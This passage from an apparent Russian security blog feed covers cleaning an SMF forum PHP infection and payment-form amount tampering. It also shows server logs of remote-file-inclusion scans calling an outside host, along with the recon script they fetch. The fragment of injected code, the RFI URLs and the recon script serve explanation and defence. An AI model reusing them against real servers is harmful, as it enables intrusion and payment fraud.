&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$u</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> dgobh<span class="br0">&#40;</span><span class="re0">$b</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">Header</span><span class="br0">&#40;</span><span class="st_h">'Content-Encoding: none'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$c</span><span class="sy0">=</span>gzdecode<span class="br0">&#40;</span><span class="re0">$b</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">preg_match</span><span class="br0">&#40;</span><span class="st_h">'/\&lt;body/si'</span><span class="sy0">,</span><span class="re0">$c</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw3">preg_replace</span><span class="br0">&#40;</span><span class="st_h">'/(\&lt;body[^\&gt;]*\&gt;)/si'</span><span class="sy0">,</span><span class="st_h">'$1'</span><span class="sy0">.</span>gml<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span><span class="re0">$c</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> gml<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">.</span><span class="re0">$c</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">ob_start</span><span class="br0">&#40;</span><span class="st_h">'dgobh'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>&#8220;Заражаются&#8221; все PHP-файлы, до которых &#8220;вирус&#8221; смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?</p>
<p>Есть два варианта.<span id="more-563"></span></p>
<ol>
<li>Отредактировать файлы вручную (желаю удачи, если заражено несколько сотен файлов).</li>
<li>Написать скрипт, уничтожающий заразу на корню.</li>
</ol>
<p>Первый вариант рассматривать не буду из-за его непрактичности, поэтому переходим сразу ко второму.</p>
<p>Сначала нужно определить источник заразы. Предположим, что один из зараженных файлов называется <code>file.php</code>. Тогда в командной строке нужно выполнить такую команду:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p56337">
        <div class="code bash" id="p563code37">
<span class="kw2">head</span> <span class="re5">-n</span> 1 file.php <span class="sy0">|</span> <span class="kw2">sed</span> s<span class="sy0">/</span>eval<span class="sy0">/</span>print<span class="sy0">/</span> <span class="sy0">|</span> php
        </div>
    </div>
</div>

<p>На выходе появится что-то вида</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p56338">
        <div class="code text" id="p563code38">
f(function_exists('ob_start')&amp;&amp;!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/path/to/style.css.php'))
        </div>
    </div>
</div>

<p>Вместо <code>/path/to/style.css.php</code> будет полный путь к файлу-источнику заразы. Его нужно удалить. Или, если не трудно, пришлите мне — интересно посмотреть, что же он творит (на машине, где я чистил файлы, вирус записался во временный каталог и был прибит кроном).</p>
<p>После этого приступаем к чистке файлов.</p>
<p><strong style="color: red">Внимание! Перед запуском скрипта создайте резервную копию Вашего сайта! Хотя скрипт и тестировался в боевых условиях, безопасность никто не отменял.</strong></p>
<p>Допустим, что сайты живут в каталоге <code>/var/www</code> (если нет, укажите свой путь).</p>
<p>Выполняем в командной строке следующие команды:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p56339">
        <div class="code bash" id="p563code39">
<span class="kw3">cd</span> <span class="sy0">/</span>var<span class="sy0">/</span>www<br />
<span class="kw2">grep</span> <span class="re5">-Rl</span> <span class="st0">&quot;&lt;?php /\\*\\*/eval(base64_decode('aWYoZn&quot;</span> <span class="sy0">*</span> <span class="sy0">|</span> <span class="kw2">xargs</span> <span class="re5">-I</span> <span class="br0">&#123;</span><span class="br0">&#125;</span> <span class="kw2">sh</span> <span class="re5">-c</span> <span class="st0">&quot;echo {}; (rm '{}'; sed <span class="es1">\&quot;</span>/&lt;?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d<span class="es1">\&quot;</span> &gt; '{}') &lt; '{}'&quot;</span>
        </div>
    </div>
</div>

<p>Вторая команда работает следующим образом: <span class="codebox"><code class="bash"><span class="kw2">grep</span> <span class="re5">-Rl</span> <span class="st0">&quot;&lt;?php /\\*\\*/eval(base64_decode('aWYoZn&quot;</span> <span class="sy0">*</span></code></span> рекурствно обходит все каталоги и выводит имена файлов, содержащие сигнатуру <span class="codebox"><code class="php"><span class="kw2">&lt;?php</span> <span class="coMULTI">/**/</span><span class="kw1">eval</span><span class="br0">&#40;</span><span class="kw3">base64_decode</span><span class="br0">&#40;</span><span class="st_h">'aWYoZn</span></code></span>. Для верности можно задать параметр <code>-m 1</code> — тогда <span class="codebox"><code class="bash"><span class="kw2">grep</span></code></span> будет проверять только первую строку каждого файла (код располагается именно в первой строке).</p>
<p>Список найденных файлов передаётся <span class="codebox"><code class="bash"><span class="kw2">xargs</span></code></span>, который выполняет <span class="codebox"><code class="bash"><span class="kw2">sh</span> <span class="re5">-c</span> <span class="st0">&quot;echo {}; (rm '{}'; sed <span class="es1">\&quot;</span>/&lt;?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d<span class="es1">\&quot;</span> &gt; '{}') &lt; '{}'&quot;</span></code></span>. Не очень эффективно, но это связано с использованием перенаправления ввода-вывода.</p>
<p><span class="codebox"><code class="bash"><span class="kw2">sed</span> <span class="st0">&quot;/&lt;?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d&quot;</span></code></span> удаляет код вируса из файла.</p>
<p>Конструкция <span class="codebox"><code class="bash"><span class="br0">&#40;</span><span class="kw2">rm</span> <span class="kw2">file</span>; something <span class="sy0">&gt;</span> <span class="kw2">file</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="kw2">file</span></code></span> — это переносимый способ для редактирования файла &#8220;на месте&#8221; (данные читаются из файла, модифицируются и записываются обратно в тот же файл).</p>
<p>Вся конструкция ищет файлы, содержащие сигнатуру вируса, в текущем каталоге и всех его подкаталогах, и удаляет из файлов вирусный код.</p>
<p><strong>Update:</strong> мне в голову пришел более простой вариант, но я его не проверял:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p56340">
        <div class="code bash" id="p563code40">
<span class="kw2">grep</span> <span class="re5">-Rl</span> <span class="re5">-m</span> <span class="nu0">1</span> <span class="st0">&quot;&lt;?php /\\*\\*/eval(base64_decode('aWYoZn&quot;</span> <span class="sy0">*</span> <span class="sy0">|</span> <span class="kw2">xargs</span> <span class="re5">-I</span> <span class="br0">&#123;</span><span class="br0">&#125;</span> <span class="kw2">sh</span> <span class="re5">-c</span> <span class="st0">&quot;echo {}; (rm '{}'; tail -n +2 &gt; '{}') &lt; '{}'&quot;</span>
        </div>
    </div>
</div>

<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/" title="Как не нужно интегрировать платёжные системы (Ноябрь 21, 2008)">Как не нужно интегрировать платёжные системы</a> (8)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/" title="Серьёзная уязвимость в osCommerce 2.2 RC 2a (Декабрь 18, 2009)">Серьёзная уязвимость в osCommerce 2.2 RC 2a</a> (8)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Как не нужно интегрировать платёжные системы</title>
		<link>http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/</link>
		<comments>http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 01:16:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=362</guid>
		<description><![CDATA[А Вы тоже доверяете своим программистам? Мы идём к Вам! Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок. Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта): Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>А Вы тоже доверяете своим программистам? Мы идём к Вам!</em></h2>
<p><strong style="color: red">Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.</strong><span id="more-362"></span></p>
<p>Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/source-form.png" alt="Исходная форма" title="Исходная форма" class="size-full wp-image-363" /></p>
<p>Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:</p>
<p><img src="http://static.sjinks.info/wp-content/uploads/2008/11/form-details.png" alt="Информация о форме" title="Информация о форме" class="size-full wp-image-364" /></p>
<p>Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45&nbsp;&mdash;&nbsp;как 2045.</p>
<p>У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с <a href="http://blog.sjinks.pro/humour/76-programmers-russian-indian-chinese-canadian/">индопакистанофилиппинцами</a>, то ему только остаётся схватиться за голову.</p>
<p>А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:</p>
<p><img src="http://static.sjinks.info/wp-content/uploads/2008/11/invalid-amount.png" alt="Invalid Amount" title="Invalid Amount" class="size-medium wp-image-365" /></p>
<p>Кстати, отрицательный результат&nbsp;&mdash;&nbsp;тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт <strong>не проверяет значение суммы платежа</strong>, и ему можно скормить <strong>любое значение</strong>!</p>
<p>Итак, меняем сумму платежа:<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/changed-amount.png" alt="Изменённое значение суммы платежа" title="Изменённое значение суммы платежа" class="alignnone size-full wp-image-366" /></p>
<p>И отправляем форму. В результате получаем такую картину:<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/payment-successful.png" alt="Платёж прошел успешно" title="Платёж прошел успешно" class="alignnone size-full wp-image-367" /></p>
<p>Осталось посмотреть, сколько денег снялось:<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/amount-charged.png" alt="Снялся один доллар" title="Снялся один доллар" class="alignnone size-full wp-image-368" /></p>
<p>Как видим, снялся $1.00&nbsp;&mdash;&nbsp;операция прошла успешно.</p>
<p>Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: <a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/"><strong>никогда</strong> не доверяйте данным, которые пришли от пользователя</a>. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.</p>
<p><strong>Update:</strong> чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/" title="Серьёзная уязвимость в osCommerce 2.2 RC 2a (Декабрь 18, 2009)">Серьёзная уязвимость в osCommerce 2.2 RC 2a</a> (8)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Минимизируем неприятные последствия HTTP-сканирования</title>
		<link>http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/</link>
		<comments>http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 04:45:26 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[scanning]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[сканирование]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=361</guid>
		<description><![CDATA[Защищаем сайт от HTTP-сканеров Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта. Если Вы всё еще читаете , то скажу, что практическая [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Защищаем сайт от HTTP-сканеров</em></h2>
<p>Анализируя логи Апача после полуторамесячного <a href="http://blog.sjinks.pro/photo/355-kuzbass-2008/">отпуска</a>, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.</p>
<p>Если Вы всё еще читаете <img src="http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif" alt=":-)"/>, то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.<span id="more-361"></span></p>
<p>Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36153">
        <div class="code apache_log" id="p361code53">
80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 69530 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] &quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] &quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 90888 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &quot;GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 86208 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] &quot;GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 71829 &quot;-&quot; <br />
&quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] &quot;GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 90948 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] &quot;GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 86232 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] &quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 69530 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] &quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] &quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 90888 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] &quot;GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 301 - &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] &quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 86208 &quot;-&quot; &quot;libwww-perl/5.805&quot;<br />
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] &quot;GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&quot; 200 76404 &quot;-&quot; &quot;libwww-perl/5.8<br />
05&quot;
        </div>
    </div>
</div>

<p>В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл <code>&#x68;ttp://www.mykr.net/bbs/id.txt</code>.</p>
<p>Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36154">
        <div class="code php" id="p361code54">
<span class="kw2">&lt;?php</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ryey&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="re0">$alb</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw3">php_uname</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb2</span> <span class="sy0">=</span> <span class="kw3">system</span><span class="br0">&#40;</span>uptime<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb3</span> <span class="sy0">=</span> <span class="kw3">system</span><span class="br0">&#40;</span>id<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb4</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw3">getcwd</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb5</span> <span class="sy0">=</span> <span class="kw3">getenv</span><span class="br0">&#40;</span><span class="st0">&quot;SERVER_SOFTWARE&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb6</span> <span class="sy0">=</span> <span class="kw3">phpversion</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb7</span> <span class="sy0">=</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SERVER_NAME'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
<span class="re0">$alb8</span> <span class="sy0">=</span> <span class="kw3">gethostbyname</span><span class="br0">&#40;</span><span class="re0">$SERVER_ADDR</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$alb9</span> <span class="sy0">=</span> <span class="kw3">get_current_user</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$os</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw4">PHP_OS</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;os: <span class="es4">$os</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;uname -a: <span class="es4">$alb</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;uptime: <span class="es4">$alb2</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;id: <span class="es4">$alb3</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;pwd: <span class="es4">$alb4</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;user: <span class="es4">$alb9</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;phpv: <span class="es4">$alb6</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;SoftWare: <span class="es4">$alb5</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ServerName: <span class="es4">$alb7</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ServerAddr: <span class="es4">$alb8</span>&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> <span class="st0">&quot;ryey ONLINE&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">exit</span><span class="sy0">;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36155">
        <div class="code output" id="p361code55">
ryey<br />
os: Linux<br />
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64<br />
uptime: &nbsp;04:44:54 up 13:51, &nbsp;3 users, &nbsp;load average: 0.37, 0.26, 0.20<br />
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...<br />
pwd: /home/test<br />
user: <br />
phpv: 5.2.6-2ubuntu4<br />
SoftWare: <br />
ServerName: <br />
ServerAddr: <br />
ryey ONLINE
        </div>
    </div>
</div>

<p>Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.</p>
<p>Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.</p>
<p>Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 <a href="http://bugs.typo3.org/view.php?id=9604&#038;nbn=8" rel="nofollow">частично подвержена</a> данной уязвимости:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36156">
        <div class="code output" id="p361code56">
PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836
        </div>
    </div>
</div>

<p>Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).</p>
<p>Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл.  Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.</p>
<p>Сканирование может быть не таким явным: например,</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36157">
        <div class="code output" id="p361code57">
&quot;GET /_vti_bin/owssvr.dll?UL=1&amp;ACT=4&amp;BUILD=6254&amp;STRMVER=4&amp;CAPREQ=0 HTTP/1.1&quot;<br />
&quot;GET /MSOffice/cltreq.asp?UL=1&amp;ACT=4&amp;BUILD=6254&amp;STRMVER=4&amp;CAPREQ=0 HTTP/1.1&quot;
        </div>
    </div>
</div>

